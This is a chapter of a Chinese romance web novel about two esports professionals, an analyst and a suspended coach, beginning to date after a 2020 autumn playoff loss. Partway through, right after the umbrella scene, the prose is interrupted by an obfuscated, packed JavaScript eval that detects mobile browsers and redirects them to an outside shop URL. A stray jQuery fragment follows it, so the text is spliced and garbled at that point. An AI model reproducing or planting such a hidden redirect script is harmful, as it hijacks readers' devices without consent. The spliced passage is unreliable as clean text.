2020年秋季赛，LWH以胜者组席位进入季后赛。
十步和下雪的配合越来越稳定，队伍不再频繁轮换。与春季从败者组一路往上打相比，无效死亡下降，中野同步率提高，优势局的资源转化也更稳定。
第一轮从胜者组掉下来以后，他们又一路打进败者组半决赛。
七局打满。
决胜局后半段，双方围绕关键资源反复拉扯。Iron先报了撤退，十步却看见对方打野状态很低，认为资源还能争。下雪已经向侧面移动，朱朱和星期五则按照最先收到的指令向后拉。
每个人看到的信息都没有错。
等五个人重新确认同一个方向，对方已经先一步占住位置。
LWH再次止步四强。
春季从败者组打到四强，秋季从胜者组掉下来，最后还是四强。
赛后，许丹回到酒店，把比赛重新拆进时间轴。第一版只记事实，第二版开始核对语音，做到一半，手机亮了一下。
程博闻发来消息。
【今天别做第四版。】
许丹看了一眼电脑。
【我才做到第二版。】
【那更好。】
【好在哪里？】
【还来得及停。】
她盯着这句话看了几秒，又把刚才那波团战拖回去看了一遍。
Iron说撤的时候，十步已经在看龙坑；十步报对方打野状态以后，下雪正在向侧面靠。问题不是谁说错了，而是新的信息出现以后，没有人把原来的行动重新覆盖掉。
许丹在时间轴旁边补了一行，保存。
然后真的关了电脑。
-
秋季赛结束以后，许丹和程博闻的联系没有减少。
LWH的新主场仍在施工。
项目从夏季开始推进规划和报批，真正进入施工已经是秋季。按照最新排期，主体和机电工程要到2021年下半年才能完成，之后还有消防验收、网络铺设、导播系统和声光设备联调。疫情造成的材料和人员延误也被算进工期，俱乐部最终把正式启用时间放到了2022年春季赛。
2020年秋季赛恢复线下以后，LWH的常规赛和季后赛都在上海联盟演播室完成。整个赛季，许丹已经习惯随队往返沪宁。
进入休赛期，比赛行程停了，联盟会议、节目录制和年末工作却仍有一部分安排在上海。
她每次过去，程博闻都会提前问结束时间。
有时在演播室附近等她，有时只约一顿晚饭。
程博闻仍在GH保留职位，联盟禁赛尚未结束，也没有进入赛事大名单。俱乐部对他的工作范围有限制，他可以参与公开资料整理、对手研究和部分不涉及临场决策的工作，只有必要事项才需要到上海基地。
没有必须到场的工作时，他也会搭沪宁线去南京。
白天找一家咖啡馆处理自己的材料，晚上等许丹结束训练。
低风险时期，沪宁高铁已经恢复稳定。两个人出发前仍会核对健康码和临时政策，临时调整也越来越熟练。
某天晚上，程博闻照常问：
【今天训练怎么样？】
许丹回：
【还行。】
聊天框安静下来。
最近没有比赛，没有转会，也没有新的联盟规则。过去随手就能聊上半晚的话题一下少了大半。
十分钟后，程博闻又发来消息。
【晚饭吃什么？】
许丹看着屏幕。
【？】
【没话找话。】
她笑了一下。
【阿姨做什么我吃什么。】
【好吃吗？】
【今天的菜不是我爱吃的。】
【那就是不好吃。】
话题从晚餐一路聊到武汉热干面、上海本帮菜和南京哪家店夜里还营业。聊到最后，程博闻发了一张楼下便利店新出的饭团包装。
许丹回了一句：【这个不好吃。】
【吃过？】
【上个月买过一次。】
【那你为什么还记得？】
【因为难吃。】
第二天中午，她经过基地附近一家新开的面包店，看见门口摆着一排奇怪的咸蛋黄可颂。
许丹站了几秒，拍了一张照片发过去。
【看起来也不会好吃。】
消息发出去以后，她才意识到，这件事没有任何需要告诉程博闻的理由。
对面很快回复。
【买。】
【为什么？】
【验证。】
【你来南京验证。】
消息发出去，许丹的手指停在屏幕上。
两秒后，对面回：
【行。】
-
一周以后，联盟年底的几项节目录制连在一起，许丹要在上海留几天。
第二天晚上，程博闻问：
【周末有安排吗？】
【没有。】
【出来吃饭。】
没有联盟活动，也没有需要讨论的工作。
许丹盯着那四个字看了一会儿。
【几点？】
出门前，她打开衣柜，换了两次衣服。
第一次觉得颜色太正式，第二次又觉得和平时没有区别。已经戴好的耳环被摘下来，放回首饰盒，过了半分钟，她又重新打开盒子。
最后还是换了一对。
到了约定地点，她很快发现，程博闻也明显收拾过。
外套和鞋都不是平时活动后台那一套，头发也没有随意压在帽子里。
两个人对视一眼。
谁都没提。
进门以后，程博闻替她把靠近过道的位置换到里面。服务员端着热汤经过，他抬手挡了一下桌角，免得汤碗擦到她的衣袖。
许丹看见了，没有说自己可以。
程博闻坐回对面，看了一眼表。
“迟到两分钟。”
“地铁口人多。”
“我没说怪你。”
“那你报时间做什么？”
“证明我提前到了。”
许丹看他一眼：“无聊。”
“第一次正式约人，允许我表现一下。”
她原本已经准备好的下一句话停住了。
服务员正好把菜单送过来。
程博闻订的是一家不算高级、但足够安静的小馆子。菜单里有她上次喜欢的菜，也有他自己习惯的辣味。
他先点了两道，把菜单递过去。
许丹接过来：“你不是最会安排？”
“安排是为了减少麻烦，不是替你决定吃什么。”
她低头翻菜单，没有接话。
这顿饭最开始仍然在聊职业。
他们谈到LWH这一年的两次四强，也谈到下雪和夕夏。
程博闻问：“下雪以后还固定中路？”
“目前是。”
“夕夏呢？”
“训练不退出，位置不一定只看中路。”
程博闻抬眼：“准备转？”
“只是测试。”
“我以为你会更早试。”
许丹合上菜单：“为什么？”
“比赛理解能迁移。有些选手的问题不是能力不够，是原位置已经放不下他的优点。”
“迁移需要时间。”
“所以才要早点试。”
“失败呢？”
程博闻看着她：“失败就换回来。”
“选手的职业评价也一起换回来？”
他顿了一下。
许丹继续道：“一个原本能正常竞争首发的人，被教练要求转位，几个月没有比赛效果。外界最后看到的是他打不好新位置，不是教练当初为什么让他转。”
“那就教练承担决定。”
“你可以承担采访和舆论。”许丹说，“他的训练时间、状态和职业窗口还是他自己承担。”
程博闻没有立刻反驳。
过了一会儿，他才说：“按你这个算法，很多事都不用试了。”
“我没有说不能试。”
“你要先把每一项代价都算清楚。”
“至少知道是谁在付。”
两个人对视了几秒。
程博闻忽然问：“那今天呢？”
许丹没反应过来：“什么？”
“出来吃饭。”
他靠回椅背。
“算过没有？”
“算什么？”
“时间、交通、机会成本。”
许丹看着他。
“上海市内，单程四十分钟左右。”
程博闻笑了。
“许丹。”
“嗯？”
“我随口问的。”
她沉默了一秒，把菜单重新打开。
“那你别问。”
程博闻笑得更明显。
服务员过来点菜，两个人暂时停战。
等菜上来，话题才慢慢从比赛转开。
程博闻提起自己第一次独立跟队出差。整支队伍错过火车，负责行程的人又联系不上，最后是他站在车站大厅重新拆路线，把五名选手和设备分成三批送到比赛城市。
许丹问：“你那时候不是选手？”
“替补。”
“替补还管交通？”
“没人管，只能管。”
他记得谁容易晕车，谁总忘记证件，到陌生城市也习惯先查附近医院。
“这些也是你后来当教练以后留下的习惯？”
“差不多。”
“比赛用不到。”
“真出事就用到了。”
许丹点了一下头。
这一点她没有反对。
她也讲起自己十六岁上大学以后，总是比同龄人更快回答“我可以”。
别人问要不要帮忙，她通常先拒绝；遇到年龄相关的质疑，她更习惯直接把事情做好。
程博闻听了一会儿。
“累不累？”
“还好。”
“那就是累。”
许丹抬眼：“判断依据？”
“正常人说不累，会直接说不累。”
“歪理。”
“你可以反驳。”
“懒得反驳。”
她没有再补一句“我真的不累”。
许丹也是第一次听程博闻完整讲起自己的职业选手时期。
他不是天才。反应和操作不足以让他长期留在首发，却比很多人更早看懂一场比赛为什么会变。
退役转教练并非早有规划，只是有一次替教练组做对手分析，被发现比自己上场时更有价值。
“难受吗？”许丹问。
“刚开始难受。”
“后来呢？”
“后来发现，能赢就行。”
许丹笑了一声。
“还是赢。”
“职业比赛不谈赢，谈什么？”
“成本。”
“又绕回来了？”
“是你先绕的。”
程博闻拿筷子点了点她：“所以刚才还没争完？”
“你认输就完了。”
“巧了，我也是这么想的。”
两个人安静吃了几口，又同时笑起来。
许丹后来又提到投行。
凌晨的项目会议、无法完全验证却必须在期限内给出判断的行业材料，还有她第一次向客户推荐LWH时，把个人情感当成专业确信的一部分。
程博闻问：“后悔？”
“结果不差。”
“我问过程。”
许丹停了一下，认真思考后慎重作答。
“过程有问题。”
“现在分得开就行。”
他没有继续评价。
饭后，两个人从商场侧门出去。
外面忽然下起小雨。
程博闻从包里拿出一把折叠伞。
许丹看了一眼：“你为什么会带伞？”
“天气预报。”
“我也看了，降雨概率百分之三十。”
“所以你没带。”
“百分之三十通常不下。”
程博闻撑开伞。
“现在下了。”
伞不大。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913877|213252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
两个人并肩以后，距离自然缩短。程博闻把伞往她这边偏，肩膀偶尔碰到一起。
许丹闻见他外套上很淡的洗衣液味道。
过马路的时候，她又看见了他的手。
握在伞柄上，指节很长。
这一次，她没有立刻把视线移开。
程博闻低头：“看什么？”
“伞。”
“伞在上面。”
许丹面不改色：“你手挡住视线了。”
程博闻笑了一声，没有拆穿。
到地铁口，他陪她走到有顶棚的位置。
“手机有电吗？”
“有。”
“钥匙？”
“有。”
“到家说一声。”
许丹点头：“你也是。”
程博闻停了一下。
“怎么？”
“没什么。”他说，“互相检查，挺公平。”
当晚，两个人都没有立刻睡。
许丹发了到达消息，程博闻回了一张裤脚被雨打湿的照片。
她问：
【你的伞为什么一直往我这边偏？】
【你没带伞。】
【你也没有第二把。】
【那总不能第一次正式约你吃饭，就让你淋回去。】
许丹看了两秒。
【你经常这样照顾人？】
【经验丰富。】
【看出来了。】
【但没经常约人。】
她没有问真假。
【早点睡。】
过了几秒，程博闻回：
【好。】
-
此后，见面这件事情越来越自然，也越来越频繁。
最开始还会是因为想见一个朋友，见一个聊得来的同行，但逐渐的，就是想见，不需要原因。
许丹去上海参加联盟会议、拍摄或者处理赛季准备，程博闻会在她结束以后出现。LWH没有训练安排的周末，他也会搭早班车到南京。
定期回家看父母，只用问一句有没有空，一起吃饭就已经成了一种默契。
真正第一次因为时间发生不愉快，是在南京。
那天程博闻上午就到了。
原本约好许丹晚上七点结束训练，两个人吃完饭，他再坐九点多的高铁回上海。
下午六点半，LWH临时加了一轮训练。
许丹给他发消息。
【今天要晚。你先回上海。】
程博闻正在咖啡馆。
【几点结束？】
【不确定。】
【那我等。】
许丹几乎立刻回复：
【不用。】
【为什么？】
【九点以后的车次不合适。明天你还有工作。】
【下午两点。】
【为了吃一顿饭多住一晚没必要。】
聊天框安静了一会儿。
许丹以为这件事已经结束，重新放下手机。
二十分钟后，程博闻回：
【有没有必要，我自己判断。】
她看了两遍。
【结果一样。今天见不了。】
【那是你的结果。】
【？】
【你几点结束，是你的工作。】
下一条很快进来。
【我等不等，是我的。】
许丹皱了皱眉。
她没有继续回复。
训练一直拖到九点四十。
结束以后，她走出基地，程博闻就站在马路对面的便利店门口。
许丹脚步停了一下。
他手里还拎着一个纸袋。
“你怎么还在？”
“不是说了等？”
“最后一班合适的车已经赶不上了。”
“我知道。”
“那你明天——”
程博闻看着她。
许丹停住。
“怎么？”
“你是不是又准备替我排明天？”
“我只是告诉你客观情况。”
“客观情况我会看。”
“那你还等？”
“对。”
“为什么？”
程博闻沉默两秒。
“我想见你。”
四个字说得太直接。
许丹一下没接上。
马路上正好有车经过，灯光从两个人之间扫过去。
程博闻把纸袋递给她。
“你下午不是说加训？”
里面是两份还温着的饭。
许丹低头看了一眼。
“可以明天见。”
“我知道。”
“也可以不等。”
“我也知道。”
“那——”
“许丹。”
程博闻打断她。
“我知道高铁几点，我也知道酒店多少钱，更知道明天下午两点有工作。”
他的语气不重。
“这些我自己会查。”
许丹没有说话。
“你要加训，可以告诉我。”他说，“你不想见我，也可以告诉我。”
他停了一下。
“但别替我决定我该不该等。”
两个人站在便利店门口。
许丹看了他很久。
“我没有不想见你。”
程博闻眼神微微动了一下。
她说完也意识到了。
空气忽然安静。
最后还是许丹先移开视线。
“饭要凉了。”
程博闻笑了一下。
“那先吃。”
那晚他确实没有回上海。
两个人在附近找了地方吃饭，程博闻重新订了酒店，第二天上午在房间处理材料，午后再回上海。
晚上，程博闻收到她分享的一条链接推文，写的是宫崎骏语录。
里面第一句是：
[谢谢你的出现，温暖了我的世界，惊艳了我的时光。]
程博闻没有纠正她宫崎骏没有说过。
正如许丹没有继续问这趟行程值不值得。